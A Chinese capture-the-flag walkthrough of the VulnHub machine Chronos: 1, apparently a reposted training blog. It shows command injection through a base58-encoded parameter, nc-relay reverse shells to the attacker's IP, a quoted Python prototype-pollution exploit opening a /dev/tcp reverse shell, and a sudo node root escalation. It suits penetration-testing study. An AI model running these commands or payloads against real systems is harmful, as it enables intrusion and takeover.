【VulnHub靶场】——CHRONOS: 1

news2024/11/16 9:54:53

作者名:Demo不是emo 

主页面链接主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:要做个明亮的人,要有个珍藏的故事,要看遍山河日落,要不虚此行。

 从10月中旬开始制定了为期24周的打靶训练(每周一次),所以今天开始进行24次系统性打靶第三次训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第三次打靶训练

第三次打靶训练针对的知识点如下 

端口扫描     WEB侦查     命令注入

数据编解码    搜索大法    框架漏洞利用

代码审计     NC串联       本地提权

 本周我们学习的对应靶场就是CHRONOS: 1(中等难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索CHRONOS: 1就能下载今天的靶场了,或者点击下面的链接也能打开下载地址

靶场地址 Chronos: 1 ~ VulnHub

提示一下,这台靶机的思路比较新,做下来会比较难,我这个专栏这么久没更新就是做着做着卡住了没有思路, 大家自己做的时候要注意思维的活络,加油

目录

一:攻击准备 

二:信息收集

1.主机发现

2.端口扫描

3.web侦察

4.数据编解码 

三、渗透流程 

1、命令执行漏洞 

2、nc反弹shell 

3、权限提升途径

[1]、基于内核漏洞提权

[2]、suid权限配置错误

[3]、sudo配置漏洞

[4]、 搜索大法

4、node.js原型污染漏洞

5、sudo错误配置漏洞 

6、node反弹shell 

四、彩蛋环节


一:攻击准备 

直接在vbox导入就可以

     这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),这里用的是vbox来给大家演示具体操作,如上面这样靶机就算开启了,具体搭建过程就不多讲了,有问题的也可以私信问我  

二:信息收集

1.主机发现

上面可以看到我的kali攻击机的ip地址是192.1680.105,但是我们现在并不知道目标靶机的ip地址,所以我们第一目标就是找到目标靶机的ip地址,也就是主机发现

我们用arp-scan扫描工具扫描同网段内的主机(该工具kali自带) ,指令如下 

arp-scan -l

扫描结果如下

 

这里的192.168.0.108就是靶机的ip地址

2.端口扫描

  这里我们成功知道了目标的ip地址为192.168.0.108,所以我们先用namp扫描工具对目标开启的端口和服务进行探测,扫描命令如下

 nmap -A 192.168.0.108

 可以看到目标开启了22端口,对应着ssh服务,还开启了80端口8000端口,对应着http服务 ,80端口的http服务是通过乌班图系统搭建,而8000端口的服务则是通过node.js搭建,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手

3.web侦察

因为目标的80端口8000端口都是http服务,所以我们依次访问一下试试,先浏览器访问目标的80端口,页面如下

 老样子,先看看页面源码开发者工具,如果没什么结果的话就去进行目录爬取,页面源码如下

 在源码中发现使用了一段js脚本,将脚本复制到本地进行分析

4.数据编解码 

  将上面的js代码复制下来查看后,发现这段代码中有大量的形如“0x16b66”的数据,说明经过了大量的编码,所以我们第一件事应该是将这段数据解码来整理,美化这段代码

这里给大家推荐一个在线站点,也就是cyberchef,这是一个非常强大的解码编码在线工具

站点链接:CyberChef 

用法:页面如下,左侧是代码处理的模块,有几百种,将要用到的代码处理的模块放到Recipe框中,将要处理的代码放到input,结果就会显示在output

 而有一个模块就是专门用来美化js代码的,叫javascript beautify搜索中找到然后,将模块添加到Recipe再把刚才找到的js代码放入input框,在output中会输出美化后的代码,如下

 仔细观察美化后的代码,发现了这样一句

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

 因为chronos就是这台靶机的名字,local就是本地的意思,而后面开启了8000端口,而最开始我们对靶机进行端口扫描时靶机就开启了8000端口,所以我们猜测chronos.local指向的ip地址就是目标靶机的ip,即192.168.0.108

我们访问chronon.local这个域名,看看有没有信息

 访问不到,那说明什么呢?说明这个域名只在目标靶机上能被正常解析为ip,即搭建在了目标靶机上,那我们就可以通过修改主机的host文件来访问该域名,

hosts文件位置在

/etc/hosts

host文件修改如下

 此时再访问chronos.local,结果如下

 

发现下面多了一行字,显示出了当前的时间信息,这是为什么呢?根据我们的猜测,chronos.local这个域名对应着目标的ip地址,我们再访问目标的ip地址试试

可以看到用ip访问的页面和域名访问的页面一样,所以我们的猜测也是对的

三、渗透流程 

1、命令执行漏洞 

那为什么会新出现一段字并显示出当前时间呢?

 而且我们只是做了一个域名与ip的绑定操作,这说明这个网页通过域名获取了资源,那我们直接抓包看看是什么情况

 可以看到发送了三个数据包,其中一个请求的网页正是我们最开始在脚本中找到的网址,而且响应包中返回了当前时间,那么我们把这个数据包发到reperter模块继续观察

当我们尝试把format的参数改掉后,就不能正确返回当前日期了

 说明这个参数的值有特殊的含义,我们再来仔细看看它的参数,如下

/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

 这里format参数的值明显经过了编码,所以我们要进行解码,

这里也用的是cyberchef这个在线站点,此时我们选择magic模块,该模块会自动识别编码类型并进行解码,如下

 可以看到是base58编码,而且解码后的结果如下

'+Today is %A, %B %d, %Y %H:%M:%S.'

 看到这段代码我就想起了kali的date命令,如下

 

 直接输入date就会打印出当前时间,而这个命令也有很多选项,加这么一串就能达到按照指定格式输出的效果,而刚才页面中多出的一段字正好就是这个指定格式输出的

所以我们大胆的猜测一下参数format的值就是加在date命令后的,而date又是系统命令,那么你会想到什么漏洞?

是不是四个大字浮现在脑海中——命令执行

那我们就尝试连接符将我们的恶意代码插入当前位置,构造如下的命令看看是否存在命令执行漏洞

date '+Today is %A, %B %d, %Y %H:%M:%S.' && ls

注意,这里因为最开始的参数进行了base58编码,所以这里我们也要进行base58编码,同样可以用cyberchef站点,选择to base58模块,如下

 

将编码的命令作为format参数的值传入,结果如下 

 

 可以看到命令成功执行,可以看到当前目录下有如下文件

app.js
node_modules
package.json
package-lock.json

既然存在命令执行漏洞,那我们看看能不能反弹shell,反弹shell最常用的手段是什么,当然是nc反弹shell了,所以我们可以先看看该目标主机的bin目录下有没有nc,命令构造如下

'+Today is %A, %B %d, %Y %H:%M:%S.' && ls /bin

老样子拿去编码后传入,效果如下

 

  可以看到很幸运,存在nc,但是不知道这个nc的版本

2、nc反弹shell 

先来测试nc是否能够正常运行,即与我们kali开启的端口进行最基本的连接,构造命令如下,这里的192.168.0.105是我kali的ip

'+Today is %A, %B %d, %Y %H:%M:%S.' && nc 192.168.0.105 1111

再在kali的1111端口开启监听,结果如下

 返回的信息提示报错,但是成功建立连接,如下

 验证过了能够正常建立连接,再来试试反弹shell

不知道他是有-e参数还是没有-e参数的,那我们不想去试的话就可以直接使用上一次打靶用的技术——NC串联

此文中的文末有详细介绍,感兴趣的同学可以打开看看,链接如下

http://t.csdn.cn/REWOB

利用命令执行漏洞执行下面的代码 

nc 192.168.0.105 1111|/bin/bash |nc 192.168.0.105 2222

即构造命令如下

 

'+Today is %A, %B %d, %Y %H:%M:%S.' && nc 192.168.0.105 1111|/bin/bash |nc 192.168.0.105 2222

在kali上开启1111和2222端口的监听

 

此时执行命令

 

 同样返回错误,再查看监听状态

 成功拿到权限,此时我们在一个终端输入的命令,结果就会在另一个终端显示出来,可以看到我们现在是www-data权限,权限非常低

我们先看看当前机器存在哪些用户

 可以看到存在一个imera用户,并且该用户文件下还存在一个user.txt的文件,但是我们现在没有权限访问,访问的话至少都需要imera用户的权限,所以又来到了每个靶场最麻烦的时刻——提权

在以前的靶机提权中,我们使用的都是那三种方式

3、权限提升途径

[1]、基于内核漏洞提权

查看内核版本,去网上查是否存在相关漏洞

uname -a

[2]、suid权限配置错误

[3]、sudo配置漏洞

sudo -l

[4]、 搜索大法

当你全部去尝试过后,就......,就寄了,这台靶机在这方面什么都没有 

这样的处境在真实环境中经常会遇到,就是你常见的,惯用的提权技巧在目标机器上无效,这时候就要去寻找新的思路,那如何寻找呢?

其实最关键的就是在目标系统上进行大量的信息收集,让我们从头把思路在捋一捋,先回到最开始的位置

 此时我发现了一个很奇怪的点,这个目录应该就是网页的源码目录,但是并没有什么php,jsp,python等等的文件,说明这个网站的编写语言就是js,而我们通常对js的认知就是运行在浏览器的前端代码,而不会认为是用来写服务端应用程序的,但其实node.js就可以实现用javascript语言来编写web应用程序的功能,但很多同学会说,哎呀我不会这个技术怎么办呢?

问题不大,真实环境中很多时候都会碰到自己不熟悉的技术,这时候我们就要培养我们的快速学习能力,从网上快速的吸收知识,了解该技术最本质的实现原理

简单来了解一下node,js技术 

node.js技术就是用于利用javascript代码在服务器上搭建web应用程序,而且这样搭建出来的web应用程序有很多独有的优势,比如非阻塞机制,异步输入输出之类的模型,使得这些web应用程序在处理某些特定程序时性能大大提高,并且通常都是基于一些已有的框架和库来进行开发,而express.js库是基于web应用开发使用的最多的

我们首先查看package.json文件,该文件是基于node.js开发web应用程序都会存在,里面含有大量重要配置信息,一些需要的库和框架之类的,查看结果如下

 可以看到三个库和框架信息,我们可以针对这三个库和框架的版本去搜索一些信息,看看是否有漏洞

再来看看这个web应用程序的主文件app.js,查看结果如下

仔细分析了一下源码,结果发现只是对最初那个命令执行漏洞的形成原因有了一个更清晰的认识,并没有包含什么能够让我提权的信息,很烦,只能继续找

功夫不负有心人,在该目录的上一级目录中成功找到一点信息,如下

 发现opt目录下除了chronos这个web应用外还有一个chronos-v2这样一个新的web应用,而且还是root权限,进入该目录查看信息,如下

 可以看到存在一个主页面和前端文件,后端文件,我们先进入后端文件看看

 发现了四个文件

node_modules
package.json
package-lock.json
server.js

 继续查看package.json文件,如下

 此时一个框架引起了我的注意

express-fileupload": "^1.1.7-alpha.3"

感觉有点文件上传那味了,是否可以上传webshell呢?我们再去查看主文件,也就是server.js,如下

 

 原本我就在想,既然这也是一个web应用程序,为什么我最开始扫描的时候没有扫描到,直到看到这段代码

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;

所以这个web应用程序只建立在127.0.0.1的8080端口上,也就是本机上,但是这段代码也没有什么明确的漏洞点,所以还是不得不从使用的模块和框架下手,但是又不熟悉,于是只能去百度,谷歌这些进行大量的搜索,以期待寻找到可利用的漏洞

在找了差不多半天的时候终于发现了express-fileupload这个模块存在的一个漏洞,文档链接如下

流行的Node.js库中存在原型污染漏洞,可致Web应用程序遭受DoS和远程Shell攻击 - FreeBuf网络安全行业门户

 这个文档中指出了1.1.9之前的express-fileupload模块都存在该漏洞,但是没有讲到任何的利用方式

并且在国内并没有搜到该漏洞的利用方式,所以只能科学上网到外面去找,终于找到了该漏洞的利用方式

https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

 这篇文档就详细的介绍了这个漏洞的原理和利用方式,并且文章还给出了链接,指向了漏洞发现者的博客,于是我又跟着链接来到发现者的博客,如下

在该文档中指出如果想利用这个漏洞的话,processNested功能必须开启 

 我们再回来一看

 

可以看到这个processNested确实是开启的,也就是这个漏洞利用的条件是有的

4、node.js原型污染漏洞

最棒的是作者在文章末尾还贴心的给出了一段简化过后的漏洞利用代码(python),如下

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

只需要将这段代码中的部分进行替换,替换规则如下如下

p6.is/8888 替换为 kali攻击机的ip/监听端口

p6.is:7777 替换为 目标ip:目标web应用程序运行端口

 将这段代码复制到kali中,替换内容后编写为py文件,如下

 

因为刚才我们看了这个漏洞web应用程序只存在于127.0.0.1,所以这里的ip就填127.0.0.1,因为我们最后要上传到目标机器中,所以不用担心不能解析

 再将编写好的脚本,传到目标机器中,步骤如下

kali攻击机

    1、service apache2 start
    开启apache以供我们在目标机器上下载文件
    
    2、cp exp.py /var/www/html
    同样为了方便下载

目标机器
    
    3、cd /tmp
    tmp目录权限较高
    
    4、wget http://192.168.0.105/exp.py
    下载文件

 可以看到exp.py已经被成功上传了

 接下来就在kali上开启5555端口(脚本中设定的监听端口号)的监听

再在目标机器上使用python执行该代码,效果如下

成功拿下imera权限,但这个权限是不是管理员权限暂时不知道,不过它在主目录下那个user.txt文件可是终于能打开了,查看后如下 

 成功拿下第一个flag

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

 但是按照作者给出的提示来说root目录下还有一个flag,我们来尝试获取,如下

但是果不其然,进不去,提示没有权限,我们不得不再次面对第二次的提权(我真的裂开)

5、sudo错误配置漏洞 

之前给大家说过我们再linux下提权时通常有三种方式。第一种就是内核漏洞提权,第二种就是suid错误配置,第三种就是sudo错误配置,而这个用户的权限则存在sudo错误配置漏洞,如下

 这说明了什么?说明我们可以在不需要密码的情况下就可以通过sudo执行npm命令和node命令,

 node就是一种类似于java的语言开发环境,我们都知道利用python可以反弹shell,其实java也可以,所以node也可以,代码如下

6、node反弹shell 

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

 因为node可以靠sudo以root用户执行,所以直接执行上面的代码就可以了

拿下root权限,再去拿flag

 成功拿下第二个flag

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

四、彩蛋环节

将第一次的flag和第二次的flag解码

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

交给我们的magic,得到这样两句话

 o chronos pernaei file mou

apopse siopi mazeuoume oneira

第二句话交给我们的百度翻有道 

 到这里这台靶机就全部结束了,我只能说真的有难度,如果你也走到了这一步,请你也感谢一下每个时刻不甘心平凡的你,一起加油吧

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/130574.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PaddlePaddle/PaddleX本地离线安装(分别以C++和Python为例)

目录一. 本地离线安装简介1.1 为什么需要源码编译1.2 源码编译的产物1.3 源码编译的原理二. 本地离线安装准备2.1 编译准备(C/Python通用)2.2 本地编译推荐配置(C)2.3 本地编译推荐配置(Python)三. Windows本地离线安装(C源码编译)3.2 编译工具安装3.3 打开Visual studio 终端3…

torch.cat函数

#dim0,上下拼接 #dim1,左右拼接 import torch # x1 x1 torch.tensor([[1,2,3],[4,5,6]],dtypetorch.int)# x2 x2 torch.tensor([[7,8,9],[10,11,12]],dtypetorch.int)#inputs为2个形状为[2 , 3]的矩阵 inputs [x1, x2] print(inputs)#dim0,上下拼接…

如何用Python字符串进行切片操作?

嗨害大家好鸭!我是小熊猫~ 我们基本上都知道Python的序列对象 都是可以用索引号来引用的元素的, 索引号可以是正数由0开始从左向右, 也可以是负数由-1开始从右向左。 在Python中对于具有序列结构的数据来说都可以使用切片操作&#xff0…

【C++升级之路】第五篇:C/C++内存管理(new和delete的实现原理)

🌟hello,各位读者大大们你们好呀🌟 🍭🍭系列专栏:【C学习与应用】 ✒️✒️本篇内容:C/C内存分布,C/C动态内存管理方法,C动态内存管理方法底层函数operator new 和operat…

浅谈树状数组

学习树状数组必不可少学习树状数组的精髓,lowbit()运算 在计算机中存储一个正数是以二进制的形式,而存储一个负数则是以二进制补码的形式,简单说就是二进制取反1,lowbit运算就是提取出最后一个1以后的位置,比如10100进…

【C语言】结构体、共用体、位域

结构体 1、 结构体的声明方法 struct struct_name {data_type member1;data_type member2;.. };这是其中一种声明方式~ 2、定义一个结构体变量 struct struct_name variable;3、访问成员变量 . 运算 一个结构体变量访问其成员时,使用的是 . 运算 下面…

BM35 判断是不是完全二叉树

题目 给定一个二叉树,确定他是否是一个完全二叉树。 完全二叉树的定义:若二叉树的深度为 h,除第 h 层外,其它各层的结点数都达到最大个数,第 h 层所有的叶子结点都连续集中在最左边,这就是完全二叉树。&a…

深入理解ConcurrentHashMap1.7源码

1. 概述 HashMap在我们的日常生活中使用很多,但是它不是线程安全的。我们可以使用HashTable来代替,主要实现方式是在方法中加入synchronized,所以效率也比较低。因此,对于键值对,我们可以尝试使用ConcurrentHashMap来…

实验室规划设计方案SICOLAB

一、实验室规划设计 喜格提供实验室布局方案 根据实验室性质、实验室定位、实验室功能、实验类型、实验工艺流程以及国家相关标准合理的规划布局。 喜格提供仪器摆放布局方案 根据该实验流程来确定仪器的种类、数量、规格型号、外形尺寸、电压功率等参数以及摆放位置以及提…

【Linux】tee、tail、killall、|、||、、命令学习

|、||、&、&&辨析 竖线‘|’在linux中是管道符的意思,将‘|’前面命令的输出作为’|后面的输入; 双竖线‘||’,用双竖线‘||’分割的多条命令,执行的时候遵循如下规则:如果前一条命令为真,则…

还在喷农民歌唱家大衣哥吗?他的一个不经意间的举动却造福了乡里

农民歌唱家大衣哥,一直以来都饱受争议,有人说他是炒货专家,然而事实真的如此吗?事实上,大衣哥也做了很多好事,像修桥补路等都不说了,单就他的一个不经意间的举动,就造福了四乡八邻。…

Windows内核--CPU和内核(1.7)

Windows内核支援哪些CPU? Intel x86/x86_64 IA64已不再支持. AMD amd64 ARM (Windows On Arm: WOA) ARM具备低功耗优势, 除了高通, 还有Broadcom/NXP等都支援ARM架构. 苹果自研M系列开了头,ARM不仅有低功耗,同样有性能,Windows也想分一杯羹…

【vue系列-03】vue的计算属性,列表,监视属性及原理

vue的核心属性一,vue核心属性1,计算属性2,监视属性3,样式绑定3.1,class样式绑定3.2,style样式绑定4,条件渲染5,列表渲染5.1,遍历列表5.2,key的作用5.3&#x…

2022年全国职业院校技能大赛中职组网络安全竞赛——隐写术应用解析(超详细)

2022年全国职业院校技能大赛中职组网络安全竞赛——隐写术应用解析(超详细) B-8任务八:隐写术应用 *任务说明:仅能获取Server8的IP地址 环境需求私信博主 1.找出文件夹1中的文件,将文件中的隐藏信息作为Flag值提交; 解题步骤如下 2.找出文件夹2中的文件,将文件中的隐藏信息…

基于Vue的数据可视化设计框架,数据大屏可视化编辑器

开发文档(★★★★★) 请访问 https://lizhensheng.github.io/vue-data-view/ 完整代码下载地址:基于Vue的数据可视化设计框架,数据大屏可视化编辑器 简介 DataView是一个基于Vue的数据可视化设计框架提供用于可拖拽的控件提供…

Spring之IOC入门案例

目录 一:IOC入门案例实现思路分析 1.IOC容器管理什么? 2. 如何将被管理的对象告知 IOC 容器 ? 3.被管理的对象交给 IOC 容器,要想从容器中获取对象,就先得思考如何获取到 IOC 容器 ? 4.IOC 容器得到后,如何从容…

C++首超Java

TIOBE 公布了 2022 年 12 月的编程语言排行榜。 TIOBE 将于下个月揭晓其 2022 年度编程语言,目前共有 3 个候选者:Python、C 和 C。TIOBE CEO Paul Jansen 指出,虽然 Python 和 C 已多次斩获该头衔,而 C 仅在 2003 年获得过一次&a…

Android---开发笔记

ListView控件 <ListViewandroid:id"id/main_iv"android:layout_width"match_parent"android:layout_height"match_parent"android:layout_below"id/main_top_layout"android:padding"10dp"android:divider"null&qu…

彩色圣诞树圣诞树

目录 一、圣诞介绍 二、技术需要 三、效果展示 四、实现步骤 五、颜色的更改 六、源码 一、圣诞介绍 基督教纪念耶稣诞生的重要节日。亦称耶稣圣诞节、主降生节&#xff0c;天主教亦称耶稣圣诞瞻礼。耶稣诞生的日期&#xff0c;《圣经》并无记载。公元336年罗马教会开始在…

JavaScript对象与类的创建

1、面向过程与面向对象 面向过程就是分析出解决问题所需要的步骤&#xff0c;然后用函数把这些步骤一步一步实现&#xff0c;使用的时候再一个一个的依次调用就可以了。面向对象是把事务分解成为一个个对象&#xff0c;然后由对象之间分工与合作。 面向过程与面向对象对比 面…